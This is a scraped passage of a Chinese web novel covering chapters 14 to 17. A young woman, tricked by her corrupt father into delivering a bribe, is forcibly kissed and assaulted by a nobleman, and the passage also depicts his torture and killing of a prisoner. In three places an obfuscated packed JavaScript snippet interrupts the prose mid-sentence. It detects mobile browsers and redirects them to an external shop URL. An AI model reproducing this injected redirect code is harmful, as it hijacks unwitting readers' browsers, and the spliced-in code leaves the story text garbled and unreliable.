陆秋水看着妆匣里的宝石坠子,若是在以前,她只有看得见摸不着的份儿,可是现在,有大把的宝石坠子供她选,品貌差的都不够资格送到她眼前。 尽管不愿意承认,可陆秋水知道,这一切都是因为那个叫姜妙仪的小姑娘。 这丫头是个聪明的,看着有几分心气,不轻易低头。 能憋了这么久才来向她讨好处,也是难得。 “可有说是什么事?”陆秋水问。 婆子说:“说是向大姑奶奶辞行。” 陆秋水一顿,惊讶地看向了门外。 院门处,姜昙携着她那丫鬟,端端正正地站在门口,大热的天气,她穿着厚衫子。 面色苍白,却一身清气。 “随她去,看她能站多久。” 待梳妆完毕出门时,看到姜昙依旧在外院站着,一步未动。 她只瞥了一眼,就去伺候老夫人起身,说是伺候,自然都是丫鬟们动手,她只需说话逗乐子。陪着老夫人用过早膳,陆秋水才回来。 姜昙依旧在门外站着,步子都没挪动一步。 倒是个能忍的。 难怪能在老祖宗的寿宴上,一个人生出那么大的主意。 陆秋水说:“让她进来吧。” 丫鬟去叫姜昙进来,见她身边的小丫鬟搀扶着她,陆秋水惊讶问了一句:“你伤了腿?瞧这不长眼的下人们,也不知道给你搬个凳子。说来也怨我,这些日子伺候老祖宗,一大早起来就杂事不断,险些忘了你还候着,你可别怪我。” 姜昙说:“妙仪不敢。万幸没有误了老夫人和大姑奶奶的要事,否则那才让我寝食难安。” 说话也贴心,不愧是个聪明人。 陆秋水不由高看她几分。 原本,她是看不上女儿带来的这个姑娘的,不知道是哪房的穷亲戚,寻到沈家来,认作个表姐。 可她没想到,姜昙寿宴上来那么一出,彻底扭转了陆府的局面。 自那天后,母亲经常拉着自己说话,回忆母女俩小时候的事,这些年生分的俩人,短短几天感情愈深。 库房里的燕窝、绸缎、宝石等物,老祖宗都舍不得吃用的东西,全都拿出来给她和芳茵吃用。 刘香君眼红得滴血。 陆秋水窃喜的同时,也暗暗觉得心惊。 这些竟都是因为一个小姑娘的几句话,和两道菜? 可老祖宗连尝都未尝。 陆秋水打量姜昙。 模样不错,不似刘香君那个侄女儿,整天妖妖艳艳的。 通身的气派也不错,不像自己的女儿整日咋咋呼呼,自带一股沉静的气质。 只是脊背挺得太直,女儿家都是含胸低头,只她不卑不亢,脾气似是个倔的。 听说姜妙仪的父亲只是个知县,姜妙仪是个嫡女,身份远攀不上陆府。不过,若是做一个姨娘,倒绰绰有余。 若有她在身边出谋划策,芳茵婚后就也能少些磋磨。 只是,这年纪大了点。 说是已经二十了。 陆秋水问:“听说你已定亲了?” 想起施茂林,姜昙嘴角浮现笑容:“最快今年冬月就成婚。” “婚姻大事关乎我们女人的一辈子,不必那么急。” 陆秋水的态度有些亲热,甚至拉住了姜昙的手,一副说掏心窝子话的模样。 姜昙察觉出几分她的意图。 “大姑奶奶,我此生不求大富大贵,只想安安稳稳的。”姜昙松开她的手,不顾脚上的伤,跪在地上。 “哎,你这孩子。” 姜昙抬头说:“我未婚夫是个粗人,他与我所愿一样,只想做一个普通人。唯一的奢望,就是中武举人,完成含辛茹苦将他拉扯大的母亲心愿。” 姜昙磕了个头:“大姑奶奶心慈,还望助我们夫妇一臂之力。” 一个小小的武举人,对陆家来说,自然不成问题。 但她凭什么要帮一个外人呢。 陆秋水的态度冷了下来:“我毕竟是外嫁的女儿,在陆家说不上话……” 姜昙说:“妙仪不才,自小有几分揣测人心的本事,愿意回报大姑奶奶。” “怎么说?” 姜昙跪在地上,脊背依旧挺得很直,让人不觉得姿态低微。 她语气沉稳地陈述着:“医书上说,人患病时哀思如潮,老人尤甚。老夫人此次过寿,最期盼子孙陪伴在身旁,但大老爷早逝,二老爷木讷,三老爷是另一房的并非亲子,因此只有大姑奶奶和老夫人最疼爱的大公子有亲近的机会。巧的是,大公子在望京读书,不在扬州……” 陆秋水也打着母女情感动母亲的主意,可从未听过这个角度的分析,合情合理,深入人心。 “继续说。” “而大姑奶奶早嫁,这些年与老夫人母女感情淡薄,渐生嫌隙,所以最要紧的就是,修复母女之间的关系……” 道理无人不懂,只是说起来容易,做起来难。 亲外孙女手做的菜送上去,母亲也只是笑一笑罢了,而姜昙说的几句话,可是让母亲恸哭了一场。 姜昙继续说:“大姑奶奶,你要坚信,这陆府之中只有你是老夫人最亲的亲人。无微不至地关怀和照顾陆老夫人,病中之人心思敏感,故而陆老夫人会牢牢记住你待她的好。姑爷人品不端,败了家业,这些可对外人遮掩,对陆老夫人却要尽数倾诉,惹起她对您的怜爱之心。孤儿寡母,让陆老夫人以为只有她能护住你,但切记,难言之隐要在不经意间提起来才不算刻意……” 顿了顿,姜昙说:“必要之时,可在老夫人面前提起死去的大老爷,他有两个弟弟,却只有你一个自小就疼爱的妹妹。自他死去,陆老夫人代他照顾大公子,也定会代他照顾孤苦无依的妹妹。就算死了,陆老夫人也……” 姜昙说不下去了。 将感情算计得清清楚楚,会让人感觉到残忍。 陆秋水震惊地盯着她,渐渐蹙眉,像看着什么怪物。 但最终,她露出了一丝笑意:“你很不错。” 姜昙说:“妙仪只想过安稳的日子,求大姑奶奶给我武举师父的举荐名帖。” 陆秋水答应了。 姜昙递上一个盒子,陆秋水打开,发现是几十张方子,俱是消渴症病人日常的药膳。 寻常的药膳做得清淡无味,吃着一股药味,老夫人素日不喜欢。但若是一味贪嘴,又加重病症,身体更难受。 而姜昙写的这些,俱是生活中常见的食材,她这几日翻了许多食谱和医书,又打听了老夫人的喜好,才写出这几十张药膳方子,能够不知不觉地滋养老夫人的身体,且不使其犯病。 老夫人一定不会讨厌。 陆秋水说:“我会和我娘说,这都是我准备的。” “本来就是大姑奶奶准备的。” 姜昙像是大病了一场,慢慢爬起来离开。 临去前,陆秋水又叫住她,一脸思索的模样:“昇哥儿和芳茵没有自小的情谊,芳茵又不善弹琴女工,不如周蝉衣貌美。依你看,这该怎么办?” 昇,陆昂,大老爷的独子。陆府大公子,字岁锦。 姜昙说:“先前与大姑奶奶说的,都是旁门左道。千般技巧,不如真心一颗。” 千般技巧,只对真心爱重自己的人有用。 想要旁人爱重,需要真心换真心。 这样才能骗过自己,骗过旁人。 “大公子自小万千宠爱,想必遇到过不少世家小姐示好。茵表妹只需要保持最原本的模样,捧出一颗真心即可。” 若全心全意,自然幸福美满。若是心怀不轨,则会痛苦一生。 夜夜惊梦,不得安眠。 . 陆青檐闭上眼睛,复又睁开。 酒气氤氲在四周,如雨滴一般,渐渐往天上飘去。 可谓人间仙境。 陆青檐伸手去接酒液,看到自己的手掌生有六指,明白自己这是在十五岁时,还未满十六岁。 因为自他十六岁回到国公府,国公爷就以不祥为由,折断了他两掌多出来的六指。 他缓缓回头,又看到了姜昙。 姜昙说:“少爷,天明午时三刻行刑,我来送你。” 他打开手中的食盒,里面放着断头饭。 吴江知县刘仲青是个穷酸,扣扣索索,牢房里阴暗潮湿,年久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583031|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失修,却在断头饭上毫不吝啬。 怕是刘仲青逢年过节都吃不了这么丰盛的饭菜。 真讽刺,他要杀人,还要将人死前好吃好喝地伺候着。 陆青檐笑:“你怎么过来了?” 姜昙说:“不是你让我来的吗?” 陆青檐说:“我让你给我带一个女人,谁让你自己来,女人呢?” 姜昙缓缓褪去衣裳。 陆青檐一眼不错盯着她,冷笑着掐住姜昙的脖颈:“你想死吗?” 姜昙的眼神像他少时猎到的那只鹿,眼角有泪淌出来,却一点也不知道害怕: “少爷不是摸过了吗?” 他忽然闻到一股杜衡香。 陆青檐睁开眼睛,手边是柔软的触感。 “庸、庸公子……” 昨夜带回来的那个丫鬟,脱了外裳,露出光溜溜的肩膀和手臂,正瑟瑟发抖凑近他。 陆青檐冷眼看着她:“过来。” 粉黛面上一喜,红着脸走近,陆青檐却说:“跪下。” 他要她跪着过来。 粉黛犹豫一瞬,膝行而去,她磕磕绊绊到近前,本就松乱的衣服更是散了大半。 粉黛矜持地低头。 下巴微凉,粉黛的脸被抬起来,与庸少爷的脸离得很近。 “庸少爷。” 粉黛露出讨好的笑容。 “不许笑。”陆青檐掐住粉黛的下巴:“哭。” 粉黛一脸错愕地愣住。 她想起嬷嬷交代的话:“你撞了大运,庸少爷从未留用过女人,你是头一个。不过庸少爷脾气古怪,你又是头一遭,床笫间再疼也不许哭,少爷最不喜欢哭哭啼啼的人。” 庸少爷明明不喜欢看人哭。 粉黛出神地想着,忽觉下巴吃痛。 陆青檐的力道很大,粉黛无措地对上他泛着寒意的双眼,觉得他不是在掐自己的下巴,而是在掐自己的脖颈。 粉黛眼角沁出泪来。 就在掉眼泪的瞬间,她在陆青檐的脸上看到一种近乎痴迷的神色,目光灼热地盯着自己。 他凑近了自己。 粉黛乖顺地闭上眼睛,下一刻,被重重推倒在地。 “你换了香?” 粉黛的脸色霎时变得苍白:“奴婢、奴婢……奴婢的香囊丢了……” 实则不是。 伺候她梳洗的嬷嬷送来一味更名贵的香料,说扬州的小姐们都用这个,连沈芳茵也在用,粉黛便用了。 “出去。” 粉黛慌忙膝行两步:“奴婢明天就把那香带上,少爷再给奴婢一次机会……” “出去。”陆青檐毫不留情。 有下人推门而入,粉黛捡起衣裳,哭着跑出去。刚出了院门,就看到邓显立着。 粉黛擦干眼泪:“邓先生。” 邓显仿若没看到她凌乱的衣裳,像平日一样打招呼:“粉黛姑娘,长公子可酒醒了吗?” 话音刚落,屋内传来一阵剑劈桌椅的声音。 粉黛吓得一抖。 邓显神态自若,意味深长地提醒:“粉黛姑娘,长公子只是不抵触杜衡香,并不代表喜欢。要让他中意你这个人,还得想些别的法子才行。” 粉黛若有所思。 邓显已经进去了,长公子发完脾气了就好,公孙文这几日不知捣鼓了什么,竟真的弄了个女人来,信誓旦旦长公子一定喜欢。 但愿他能成功,别又是一个粉黛,让大家都好过些。 姜昙和紫珠在很快收拾好了行李,她们的东西不多,已经整理好,随时都能走。 只是不能今日就走。 陆秋水说,武举师父今日不在家,她已托人去寻,最快也要明日才能给她答复。 一时没有事做,姜昙有些心慌,这两日不见施茂林。姜昙提笔,想给他写信搬去客栈,最终又放下。 他大概去忙他口中的门路去了。 还是不打扰他了,再等一日,应该也无事吧。 午后,姜昙等到了家信,还是口信。 来人是盐城姜府的小厮,父亲身边的人。 一见到她就跪下哭:“大小姐,快去看看老爷吧,他快病死了!” 父亲竟然来了扬州? 15. 第 15 章 父亲怎么会来扬州?他怎么知道自己来了扬州? 姜昙深知父亲的秉性,他只知吃喝玩乐,整日不务正业,不关心家事。 娘亲活着的时候,在家中的小布坊日夜忙碌,熬得咳血,他也不知道回来看一眼。说是在书院发奋读书,可姜昙去给他送饭的时候,却发现他与同窗在城东斗鸡,花光了钱。 见了姜昙,他毫无被抓包的愧疚之意,反而要姜昙装病,哄骗娘亲拿钱出来。 最后姜昙把热汤丢到他脸上。 他不是不知道娘亲吐血,可仍毫无人性地伸手要钱,唯有面对他那个少年时青梅竹马的表妹时,才装得人模人样。 故而,他绝不可能费心寻找姜昙的去处,更不可能知道姜昙在扬州。 因为姜昙走时,谁都没有说过。 连对那个假惺惺的母亲,也只是说了一句,去沈家小住。 他们根本不知道沈家母女会来扬州贺寿。 姜昙冷笑:“你骗我,姜大人读书时未废寝忘食,做官时未呕心沥血,一个只知享乐之人,怎么可能重病?” 小厮噎了一下,心道老爷果然料事如神。 他从衣襟掏出一块染血的手帕,眼泪汪汪地呈送至姜昙跟前:“大小姐,小人说的都是真的,不信你看。这是临走前老爷咳的血,小人还未来得及丢呢!” 姜昙接过来,脸色微微一变。 紫珠凑到她耳边:“姑娘,该不会是鸡血、猪血?” 姜昙摇头。 这是真的人血。 只是轻轻捏了手帕,里面的鲜血就浸透出来,染红了掌心。 小厮偷瞄姜昙。 哎,也不知道大小姐哪学的侦查之术,老爷说鸡血、猪血瞒不住她,非要割了手掌,用自己的血染上去。 紫珠脸色也变了:“老爷真的要病死了?那咱们快去看看吧,万一是最后一面。” 姜昙又摇头: “血是真的,血迹不对。如果是咳血,从口中喷溅出来,不该是这个斑斑点点,如梅花状。” 帕子上这血却是大片大片的,色不均匀,像是有人故意蹭上去的。 姜昙悠悠坐下来。 小厮见她不动,着急苦苦哀求:“大小姐,求你去看一眼吧,老爷他真的遭了大难了!” 紫珠不忍心地说:“姑娘,要不就去看一眼,如果是假的,我们就回来,下次再也不去了。” 紫珠对她爹没多少感情,是娘亲买来的,她是看在娘亲的面子上,故而对她爹多了几分容忍。 如果娘亲在,怕是也会这样。 罢了,最后一次。 姜昙在心中默默地说,父亲,给你最后一次机会,如果再骗我,此生此世,再也不见你。 “走吧。” . 客栈里。 听到重重的脚步声,姜清源哎呦哎呦地叫起来,这是他与小厮约好的信号。 姜昙进了屋子,就开始皱眉。 姜清源躺在床上,看到姜昙,双眼冒光:“女儿,乖女儿,你可来啦!” 姜昙冷眼不动,紫珠轻推了她一把:“姑娘,去吧。” 姜昙来到姜清源床前,小厮和紫珠关门出去。 姜清源上下打量着她说:“乖女,你瘦了。” 姜昙心一紧。 不知为何,到了这个地步,一直到亲眼看到,还是会眼热鼻酸。 这是病吗? 可这么多年,她翻遍医术,找不到一张良方治好它。 “姜大人,你到底有没有良心?”姜昙居高临下地看着他:“你中气十足,流了些血,却远不致命,怕是我来之前,你已经找大夫包扎好了。” 姜昙在屋里转了一圈,找出帐帘后的酒壶丢到地上,说:“想要骗我来,能否用心一些,整个屋子都是酒味,以为我闻不到吗?” 姜清源讪笑,忽然想起来自己是姜昙他爹,一家之主,被女儿落了面子,岂有此理! “你敢质疑你老子,我分明面色苍白,不是病了是什么!” 姜昙看着这个名为父亲的男人,满眼失望:“爹,你忘了,我会医术的。” 望闻问切,根本做不到最后一步,只需前三步,姜昙就知道,姜清源根本没病。 为了娘亲学的医术,还未学成她便早早去了,没想到最后会用到他身上。 姜清源脸色一僵。 女儿会医术吗?什么时候学的!她不是只会缝补衣服吗?再说了,女儿家学什么医术,照顾好父母和丈夫才是天大的事! 姜昙冷眼看着他,转身要走。 他骗她过来做什么,总之不会是好事,好事从来轮不到她。 “站住,姜妙仪!” 姜清源从床上爬下来,他竟然真地受伤了,为了让她相信,不惜割伤了手臂。 “姜妙仪!阿昙!” 背后扑通一声。 姜昙脚步顿住,她缓缓转身,姜清源跪在她面前:“阿昙,你救救爹。” 这一辈子,姜昙从来都是自救,需要父亲在身边时,她从未开过一次口。 姜昙一时气愤,又有些慌,因为姜清源从来都没做到过这个地步? “我只是一个弱女子,能救你什么?快起来!” “你听爹说,我、我从官账上挪用了点银子,锦衣卫要抓我……” 姜昙气得咬牙切齿:“为人父母官,怎么能做这种事!你疯了吗,招惹上锦衣卫,姜府上下满门一百多口人,全部要脑袋搬家!” “这不是还没抓吗?”姜清源说:“还有办法补救,有位大人说,只要将银子还回去,就可大事化小,小事化了。看在你弟弟妹妹年纪还小的份上,阿昙你救救我!” 姜昙狠心说:“不救!犯了错就得认罚,按照大昭律法,只用砍你的脑袋,姜府其余人等可判流放。我会为姜家请最好的状师,不让锦衣卫杀了所有人!反正姜家本来就是寻常百姓,这下不过是回到原点而已。” 姜清源气急败坏:“你也是姜家人,你以为你就能好过?” “我可以早些嫁出去,到时是施家妇,与姜家无关。” 见威胁她不动,姜清源痛哭流涕:“阿昙,乖女,只要把银子还回去,爹的命就保住了。你娘的排位还在府里放着,你忍心让她成为孤魂野鬼吗?她要是还活着,肯定会救爹的。还有你弟弟妹妹,你妹妹还不会说话……” 姜昙想说,娘亲的排位跟着自己到施家,不算孤魂野鬼。 可听到后面,她一个字也说不出来。 如果娘亲在世,她不会置之不理,她有该死的同情心,养出了一个嘴硬心软的自己。 姜昙心道,自己也真该死。 “银子放在哪?” 姜昙知道姜清源的秉性,他不敢花太多,肯定留有后手。 姜清源老泪纵横的脸上俱是皱纹,闻言挤出个笑容,看起来无端诡异:“银子和账册我放在驿站的地板下面,里面还有一件宝贝,你一并拿去送给那位大人。外面都是眼线,爹出不去,姜家上下的性命,都寄托在你身上了。” 临走时,姜清源语重心长地说:“阿昙,你可一定要乖乖地听话啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592929|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜昙不自在地扯开手,姜清源少有这么温情脉脉的时刻,她不习惯。 再帮他一次,姜昙心说。 待姜昙走后,姜清源从地上爬起来,伸了伸懒腰,神清气爽。 他打开门,走到隔壁的屋子,里面有一人满面笑意:“姜大人,好演技。” 姜清源腆着脸拱手:“那下官贪墨这事……” 那人一笑:“保你平安。” 他想起方才从墙上窥伺到的场景,那小娘子可谓曼妙无边。 改口道:“或许不止平安,此后官运亨通,步步高升呐!” . 依照姜清源的话,姜昙寻到驿站,果然找到了东西。 地板下有几叠账册,姜昙并没有打开看,还有一些银票,姜昙分毫未动。 还有一个盒子,这里面应该就是姜清源放的宝贝了,她轻轻摇晃,听到一声轻响。 这声音,像是姜清源奉为传家宝的夜明珠。 看得跟命一样宝贝,如今也拿出来了,看来是真的走投无路。 姜昙将东西都放在随身带的食盒里,假装是送吃食。 紫珠雇了马车,在楼下等她。 姜昙上了马车,将食盒紧紧抱在怀里,不让它颠簸半点。 “姑娘,咱们要去哪?” 姜昙回想姜清源先前说的话,要将银子送给一位大人。 那位大人路过扬州,今日在晃月别庄安置。 “去晃月别庄。” 紫珠没听说过,只将地址报给马夫,马夫面色诧异,却没说什么,调转马车,往山上去。 不知过了多久,马车一晃,姜昙醒了过来,才发现自己不知何时睡着了。 紫珠也醒了,迷迷糊糊去掀车帘:“太阳落山了?” 姜昙一惊,抱着食盒下车。 发现外面已是黄昏傍晚,别庄一路点起了灯笼,灯光通明。 “怎么是在山上?” “可不就是在山上。”马夫说:“这是专门接待达官贵人的避暑小山庄,小的进不去,前面只能让二位走路过去了。” 姜昙心中生出一股不妙的预感:“晃月别庄是食肆客栈吗?” 马夫神秘一笑:“何止,这里面多的是美女妖童,贵人们中出了名的风月之地。” 姜昙抱住食盒的手指一颤。 紫珠不安地摸着头上绑成男子的发髻,问:“姑娘,咱们进去吗?” 姜昙深吸一口气,感受到被勒得发紧的胸口,微微松了口气。 “进,我们现在是男人,来送夜明珠的,它才是引人注目的宝物。” 姜昙向守门的小厮递了话,小厮往屋里去,过了一会儿,带回来了一个短须男人。 “你就是姜家的……” 公孙文打量着她,姜昙接道:“姜清源的儿子,我替父亲送东西来。” “哦,是姜家侄儿,我是你父亲的好友,你可叫我公孙伯伯。”公孙文颇为殷勤:“跟我来吧,长公子在里面等着。” 听他说是姜清源的好友,姜昙微微放下心来。 晃月别庄很大,姜昙只能跟着公孙文走,才不至于迷路。 待过了两道门,进一个小门,公孙文忽地一停,指着紫珠说:“里面的贵人身份不一般,不能让下人见,他得在这等着。” 姜昙犹豫半晌,说:“好。” 但公孙文又说:“还有一事,你也不便见,所以得蒙着眼睛。” 下人将黑布递到面前,姜昙的手指握紧了食盒。 最终,她道:“好。” 16. 第 16 章 “咻!” 邓显鼓掌,拍马屁说:“好箭术。” 狼犬在围场中欢快地跑来跑去。 雷奴魁梧的身体小山一样移过去,几步上前,一手一个,将“箭靶”提起来,扔到陆青檐面前。 “箭靶”是人。 “陆庸,敢招惹锦衣卫,汤指挥使不会放过你!” “箭靶”身上插着七零八落的箭矢,却还没有断气。 陆青檐正拿布巾擦手,弯腰看着“箭靶”身上的痕迹:“几年过去,我的箭术一点没有长进,故而我悟出来一个道理。并非我的箭术不好,而是箭靶子不好。若他能主动撞到我的箭上,我就能百发百中。” 陆青檐用力碾着箭靶的伤口,笑说:“所以,是你的错。犯错了,就要受罚。” “你不得好死!” 箭靶疼得嚎叫,一口血吐到陆青檐面上,如红梅般落下星星点点。 陆青檐不笑了。 他伸出手,对一旁战战兢兢的姚卓说:“拿月杖来。” 月杖又称球杖,打马球时手持球杖,在草场上驰骋,可谓赏心悦目。 跟着陆青檐伺候了几天,姚卓早已知道他的习惯。 他爱打马球,又不爱打马球。 大昭子民打马球不似前朝那般风靡,一般玩起来以姿态优美,英姿飒爽为要。 可这位爷,是实实在在地打。 不仅喜欢用月杖打球,更多的时候,是用月杖打人头。 或者说,是砸。 姚卓奉上特制的月杖,不忍地撇过脸去,听着灌了精铁的实心月杖砸下去,像砸西瓜一样的声音。 一下又一下。 “箭靶”先是几声惨叫,后来不叫了,应是死了或者碎了。 月杖交回姚卓手上,一手粘腻,他没敢看那是什么。 另一个箭靶始终没说话,在一旁溅了半身血,此刻吓得尿了裤子。 刘武牵马过来,陆青檐踢了一脚箭靶,翻身上马,对邓显说:“问清楚汤谨之在何处,还有他们私藏的证据卷宗在何处。” 随后由刘武牵着马离开。 汤谨之,是锦衣卫指挥使汤炳的儿子。 先前公孙世伯怀疑长公子来此别有用意,原来是为抓他来的。 姚卓怔怔地站了半晌,忽然想起一件事,忘了向长公子禀报。 不过他也不敢说,于是向邓显请教:“邓先生,那个施茂林醒来后,像个贞洁烈妇似的醉成了一摊烂泥,一直说对不起未过门的妻子。跟他说话也听不进去,所以我就把他带到这了,他想见长公子,你看这……” 邓显看了看天色,说:“劝你明日再报。” 姚卓跟着看去,看到只剩一缕红云的天边。 “为什么?” “因为,天快黑了。” 邓显背手离开,听说公孙文已经把那姑娘带来了,审完人得赶紧去看一眼。 雷奴将吓傻的箭靶拖走。 姚卓一头雾水。 他满脑子浆糊,不知道天黑了和禀报有什么关系。看到鲜血淋漓的地面更是不忍直视,指挥下人赶紧清理干净。 . 姜昙紧张地走着。 眼前一片黑暗,什么也看不到。 她的手腕上绑着一条皮带,像是女子用的纱娟披帛,有人握住披帛的那一头,在前方领路。 每当姜昙犹豫时,那披帛便紧一紧,为她指引方向。 不知过了多久,披帛那一端落下,引路之人消失了。 “公孙世伯?” 姜昙试探着叫了一声,无人回应,公孙文也不在。 此时此地,不知在何处,这里只有她一个人。 姜昙动了动手指,想把黑布摘下来,却在意识到自己抱着什么那一刻,放弃了这个想法。 公孙文的声音犹在耳边:“切记,无论发生何事,都不可摘下黑布,除非长公子允你摘下来。” 这意思,是若摘下黑布,会看到什么不该看的吗? 姜昙心中隐约觉得,这个长公子的身份不一般。 “什么东西?” 年轻人的身体可真好,手长脚长,一步跨出去,公孙文得小跑三步。 “不是东西,是人。”公孙文觍着脸笑:“来献宝物的,长公子去看了就知道了。” 陆青檐脱了外衣丢开,身后的公孙文连忙接住。 晃月山庄的雅间是整整三层,三层的小阁楼只接待一个客人。 姜昙此时正站在三楼雅间,忐忑不安。 她听到四处有风吹来,纱帐被风吹得不住晃动,缚帐子的珠链下系着铃铛,叮呤作响。 门上也绑着铃铛,叮地一声。 公孙文鼓起勇气,牵住想要跟进去的狼犬,对陆青檐说:“长公子,下官在门外候着。” 外间传来阵阵丝竹声。 陆青檐掀开纱帐,进入屋内。桌案上摆着酒盏,公孙文是越来越懂得他的心意了。 这其中,或许还有邓显的功劳。 一群舞姬在中央翩然起舞,负责斟酒的莺莺燕燕乖巧伏地。 陆青檐坐到位置上,身后女子为他倒酒。 扑通一声,似乎有人磕到了脑袋:“盐城知县姜清源之子姜妙仪,代父奉至宝夜明珠,祝大人青云直上,万事遂心。” 一个身影跪在被风扬起的纱帐后,脑袋被举起的食盒挡了个严实。 身着披风,却还看得出清瘦。 姜妙仪,妙仪。 陆青檐记得她。 她是施茂林未过门的妻子,他只让他们去查底细,竟直接将人弄来了。 “至宝?” 陆青檐有了几分兴趣,摇晃着漂浮着一晌贪欢的酒液,仰头喝下。 姜昙浑身紧张起来。 有人朝纱帐后来了。 姜昙高高地将手中食盒举过头顶,乖顺伏贴地低头跪着。 一个懂得主人心意的下人,躬身将食盒抱了起来,呈送至陆青檐案前。 食盒被掀开,里面一本账册,一沓银票,陆青檐随意翻了翻。 手指落在锦盒上,这就是至宝? 姜昙听到大人翻了账册、银票,想着一切都不必多说。 于是介绍道:“夜明珠又称明月珠,置于黑暗之中,也能散发光亮。可以让大人在黑夜中持珠夜行,照夜如白日。” “哦?真的?” “千真万确!” 陆青檐挥手:“那便试试看。” 姜昙一愣,她听到一声又一声传接着的声音:“灭灯——” 不多时,周围突然暗了下来。 桌案后的大人嗤笑一声:“盐城至宝,也不过如此。本官这屋子,满室挂着的,都是夜明珠。” 夜明珠被随手丢到地上,咕噜噜地滚到姜昙面前。 不止一个。 姜昙有些无措,下意识地摸上蒙眼黑布,想要扯下。 ——若看到了什么不该看的,我保不了你。 公孙文的声音再次响起。 姜昙的手顿住,身子跪得挺直:“姜府还有许多珍藏,若大人不弃……” 有人从桌案后撑起身子,缓缓地走了过来,在她面前停下。 是那位大人。 姜昙的心脏狂跳。 “亮灯——” 一声接一声,周围又亮了起来。 姜昙察觉到发带被人挑了起来,丝竹声中,有声音问她:“你方才说,你是姜知县的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603970|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿子?” “……是。” 手边垂下冰凉丝滑的衣料,那人蹲了下来,正盯着自己看。 视线自蒙住的眼睛,辗转至发白的唇上。 往下去,视线游移至修长的手臂,窈窕的腰线。 姜昙下意识低头,却被一只有力的手止住,脸被人抬了起来。 “姜小姐,男人可不会用女儿家的熏香。我眼神不好,鼻子却灵得很。” 掺有淡淡酒意的呼吸扑在她面上,姜昙听到他在耳边说:“依我看,盐城至宝,不及姜小姐容色分毫。” 男人轻轻一笑:“姜小姐,若是诚心想要令尊无恙,不若把你自己献给本官。” 姜昙呼吸一窒,猛地推开那人,往门的方向扑去。 她的记性不错,可惜门被从外关上了。而身后的人追得更快,握住她打算开门的手,结结实实压在门上。 “放开我!” 这动静实在太大,惊住了训练有素的一干舞姬和下人们,陆青檐冷冷一瞥:“滚。” 下人们忙不迭从其他门逃了,临走时将门关得严严实实。 手臂压着手臂,膝弯被膝盖压着,姜昙整个人几乎是被挤压在门上,动弹不得。 陆青檐深嗅了一口气,心道,这才是杜衡香。 他低头凑的很近。 看着这女子细腻白净的脖颈,发尾有细细的绒毛,轻轻吹一口热气,她的脖颈便红了,一直红到耳根。 真有意思。 “我喜欢有意思的人。” 陆青檐发现自己不讨厌这个女子,手掌游移至她的细腰上方,轻轻一揽,软玉温香。 陆青檐轻吻着姜昙的脖颈,说:“你是我第一个喜欢的女人,跟了我吧。” 说着,他往下搂住细腰,转身往房内带去。 不要,不要! 姜昙拼命挣扎,两人滚在地上,沉重的身体压着她,怎么推也推不开。身体厮磨间,上方呼吸沉重起来,身体变得滚烫。 姜昙绾发的网巾勾在头发上,一头长发松松垮垮,要掉不掉。 “求你放了我,放了我吧……” 姜昙苦苦哀求:“我已许了人家,有一个未婚夫,我们在冬日就会成婚,我只想做普通人……” 婚约算什么东西?只要他想,就算她嫁了人,也拦不住他。 陆青檐一个字也听不进去。 他醉意朦胧地想,唇色哭得这样红润,诱人。 笃笃笃。 门扉被敲响:“青檐兄弟,我有话同你讲。” 姜昙听到有人说话,张口想要呼救,陆青檐捂住她的唇,对她“嘘”了一声。 可惜,她的晚上蒙着黑布,看不见他的暗示。那就只好—— 他亲自来了。 见门内无人应声,门外人兀自说了起来: “我知道你们这些世家公子风流多情,喜欢蓄养红颜知己,可我不一样,我只是一个追寻一生一世一双人的普通人。我爱重我未过门的妻子,她也爱重我,此生此世,我们都只会有彼此一个人。所以往后,不要再给我塞舞姬歌女了……” 施茂林酝酿了许久的话,一口气倒了个干净。 门内仍旧无人应声。 “青檐兄弟,青檐?” 屋内翻飞的纱帐后。 陆青檐正深入柔软之中,在红润的唇上厮磨辗转,终于让他寻到了破绽。 姜昙伸手推拒他置于腰间作乱的手,却失于防守,让他舔舐开唇缝,迅速侵入,唇齿绞缠。 相濡以沫。 陆青檐还记得书中的解释——泉水干了,鱼吐沫互相润湿身体。 这个词用来形容他们,真是再合适不过。 他想。 17. 第 17 章 陆青檐正深入柔软之中,在红润的唇上厮磨辗转,终于让他寻到了破绽。 姜昙伸手推拒他置于腰间作乱的手,却失于防守,让他舔舐开唇缝,迅速侵入,唇齿绞缠。 相濡以沫。 陆青檐还记得书中的解释——泉水干了,鱼吐沫互相润湿身体。 这个词用来形容他们,真是再合适不过。 他想。 温香软玉的滋味,一旦沾了,就无法放下。 以往听邓显他们劝说,尚且不觉得,如今陆青檐才发现,此话不虚。 